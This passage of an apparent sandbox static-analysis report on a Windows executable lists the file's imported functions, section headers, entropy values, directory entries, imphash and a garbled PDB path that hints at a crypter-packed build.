                        "address": "0x431194"
                    },
                    {
                        "name": "GetTimeFormatW",
                        "address": "0x431198"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x43119c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x4311a0"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x4311a4"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x4311a8"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x4311ac"
                    },
                    {
                        "name": "EnumSystemLocalesW",
                        "address": "0x4311b0"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x4311b4"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "TabbedTextOutW",
                        "address": "0x4311bc"
                    },
                    {
                        "name": "GetScrollBarInfo",
                        "address": "0x4311c0"
                    },
                    {
                        "name": "RedrawWindow",
                        "address": "0x4311c4"
                    },
                    {
                        "name": "MsgWaitForMultipleObjectsEx",
                        "address": "0x4311c8"
                    },
                    {
                        "name": "GetMessageTime",
                        "address": "0x4311cc"
                    },
                    {
                        "name": "PostQuitMessage",
                        "address": "0x4311d0"
                    }
                ],
                "dll": "USER32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x000c5989",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x000c5989",
        "icon_hash": null,
        "entrypoint": "0x00408e07",
        "timestamp": "2018-01-05 06:24:08",
        "osversion": "5.1",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x0002fc00",
                "entropy": "6.73",
                "raw_address": "0x00000400",
                "virtual_size": "0x0002faad",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00031000",
                "size_of_data": "0x00084200",
                "entropy": "6.31",
                "raw_address": "0x00030000",
                "virtual_size": "0x000841ac",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x000b6000",
                "size_of_data": "0x00002400",
                "entropy": "2.65",
                "raw_address": "0x000b4200",
                "virtual_size": "0x00014dec",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x000cb000",
                "size_of_data": "0x00005400",
                "entropy": "5.56",
                "raw_address": "0x000b6600",
                "virtual_size": "0x00005228",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".reloc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x000d1000",
                "size_of_data": "0x00002600",
                "entropy": "6.54",
                "raw_address": "0x000bba00",
                "virtual_size": "0x00002454",
                "characteristics_raw": "0x42000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000b46cc",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x0000003c"
            },
            {
                "virtual_address": "0x000cb000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00005228"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000d1000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00002454"
            },
            {
                "virtual_address": "0x00031230",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000038"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000b34b0",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000040"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00031000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x000001d8"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "47e8962547d49e19305bf0cef7d8d1c4",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": "C:\\gidu47_kucopevareye\\m.pdb\\x00ime\\crypt\\tmp_694387568\\bin\\hafo.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb9\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8}K\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff",
        "imported_dll_count": 2,
        "versioninfo": []
    }
}